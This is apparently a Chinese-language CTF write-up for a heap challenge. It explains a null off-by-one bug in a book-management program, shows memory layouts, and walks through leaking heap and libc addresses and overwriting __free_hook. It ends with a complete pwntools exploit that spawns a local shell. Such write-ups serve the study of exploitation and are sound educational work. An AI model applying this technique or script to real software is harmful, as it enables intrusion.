确定漏洞點
首先,checksec檢視開了哪些保護,其中PIE會使我們的調試難度稍稍增加。
再執行程式之後是一個經典的菜單選擇,可以大概判斷是與堆的利用有關。

通過用ida反編譯之後檢視,發現有一個關于讀的函數會多讀入一個\x00,造成了一個null off by one的漏洞。
程式分析
create 函數
- 建立了book name的堆
- 建立了book description的堆
- 建立了book struct的堆,指向這個堆的指針放在bss段上。book struct的結構為:
struct book {
int index;
char* book_name
char* book_description
int description_size
}
并注意其中的每個字段都占8個位元組,雖然int類型本身是四個位元組,但是struct結構中為了記憶體對齊進行了padding
delete函數
- free book name
- free book description
- free book strcut
- 将指向book struct的指針清空
edit函數
根據index選擇一個book修改其description内容,大小限制在description size
print detail函數
周遊index,根據book struct中指針資訊,列印出name和description内容。最後列印出author name
change author name
改變author name,這裡有一個null off by one漏洞,輸入32個字元會向記憶體裡多寫入一個\x00
記憶體布局
bss段上
0x55b6a94d8040: 0x6161616161616161 0x6161616161616161 <--author name
0x55b6a94d8050: 0x6161616161616161 0x6161616161616161 <-- author name
0x55b6a94d8060: 0x000055b6aab2f180 <--book struct ptr 0x0000000000000000
0x55b6a94d8070: 0x0000000000000000 0x0000000000000000
heap上
book struct
0x55b6aab2f180: 0x0000000000000001 <--index 0x000055b6aab2f020 <--name ptr
0x55b6aab2f190: 0x000055b6aab2f050 <--description ptr 0x0000000000000120 <--description size
0x55b6aab2f1a0: 0x0000000000000000 0x0000000000020e61 <-- top chunk size
漏洞利用
洩漏堆上的位址
通過對記憶體的觀察我們可以知道,author name和book struct ptrs是緊挨着的。于是很容易能洩漏出一個book struct ptr的位址,也就是堆上的位址。
- 輸入author name為32個位元組
- 再申請一個book,此時記憶體為
0x55b6a94d8040: 0x6161616161616161 0x6161616161616161
0x55b6a94d8050: 0x6161616161616161 0x6161616161616161
0x55b6a94d8060: 0x000055b6aab2f180 0x0000000000000000
由于printf一個字元串是一直到\x00為止,是以列印出name的同時也能洩漏出了堆上的位址
利用NULL OFF BY ONE
之前提到修改author name時候有null of by one的漏洞。在這裡的話能把指向第一個book的指針0x000055b6aab2f180修改為0x000055b6aab2f100,指向的位址就比原來的低。隻要我們第一個book申請的大小正合适,那麼修改完成後的指針就能落在book1.description中,而description是我們可以修改的,于是我們就能僞造一個book結構,進而能進行任意寫了。
洩漏libc基址
可以進行任意寫了,那麼我們還需要知道一下libc基址。如此一來,我們才可能将system或者one gadget寫入malloc_free或者free_hook中。這裡采用的方法是用malloc申請一個很大(大于128k)的位址,于是這個位址就被配置設定在了mmap區域,mmap區域和libc的偏移是固定的,是以我們洩漏mmap的位址,就等于洩漏出了libc的基址。
exp解釋
leak通過在原來的book1的description中僞造了一個新的book1做了兩件事情。第一,新的book1的name ptr的值為book2 description的值,即mmap的位址,通過show()函數能洩漏出mmap的位址,進而獲得libc基址。第二,由于可以通過新的book1的description指針指向的位址進行任意寫,是以這裡我們修改了book3的description ptr為free hook位址。
最後對book3修改它的description的内容,實際上也就是修改了free_hook的内容。這裡就修改成one_gadget。
另外一個值得注意的點:
由于edit也調用了null off by one的讀入函數,如果後面不加\x00的話,那麼book3的size字段就變成了0,之後的讀入就是讀入0位元組。
完整的exp如下:
#coding=utf-8
from pwn import *
DEBUG = 1
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if DEBUG == 1:
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
context.log_level = "DEBUG"
def create(name, description):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil(": ")
io.sendline(str(len(name)))
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(": ")
io.sendline(str(len(description)))
io.recvuntil(": ")
io.sendline(description)
def delete(index):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil(": ")
io.sendline(str(index))
def edit(index, description):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil(": ")
io.sendline(str(index))
io.recvuntil(": ")
io.sendline(description)
def change_name(name):
io.recvuntil("> ")
io.sendline("5")
io.recvuntil(": ")
io.sendline(name)
def show():
io.recvuntil("> ")
io.sendline("4")
def leak(addr1, addr2):
#修改faks_book1的結構
#addr1是name位置,目的是洩漏mmap記憶體的位置
#addr2是desc的位置
payload = "c"*0xb0 + p64(0x1) + p64(addr1) + p64(addr2) + p64(0x120)
edit(1, payload)
change_name("b"*32) #觸發null off by one
show()
io.recvuntil("Name: ")
addr = u64(io.recv(6).ljust(8, "\x00"))
return addr
gdb.attach(io)
#洩漏堆位址(book1的位址)
io.recvuntil("Enter author name:")
io.sendline("a"*32)
create("a"*0x20, "b"*0x120)
show()
io.recvuntil("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
book1_addr = u64(io.recv(6).ljust(8, "\x00"))
print(hex(book1_addr))
#洩漏mmap位址
create("a"*0x20, "b"*0x21000)
create("/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00", "b"*0x8)
#book1_addr+0x70是記錄開出的mmap的位址
#book1_addr+0xb0指向了book3.description
libc_addr = leak(book1_addr+0x70, book1_addr+0xe0) - 0x5bc010
print("libc address: " + hex(libc_addr))
system_addr = libc_addr + libc.symbols["system"]
free_hook = libc_addr + libc.symbols["__free_hook"]
print("system address: " + hex(system_addr))
print("free hook address: " + hex(free_hook))
#由于現在fake_book1.description是chunk3的description位址,執行下面一條指令就是在chunk3的description中寫入free hook位址
edit(1, p64(free_hook) + "\x08")
one_gadget = libc_addr + 0x45216
edit(3, p64(system_addr))
delete(3)
io.interactive()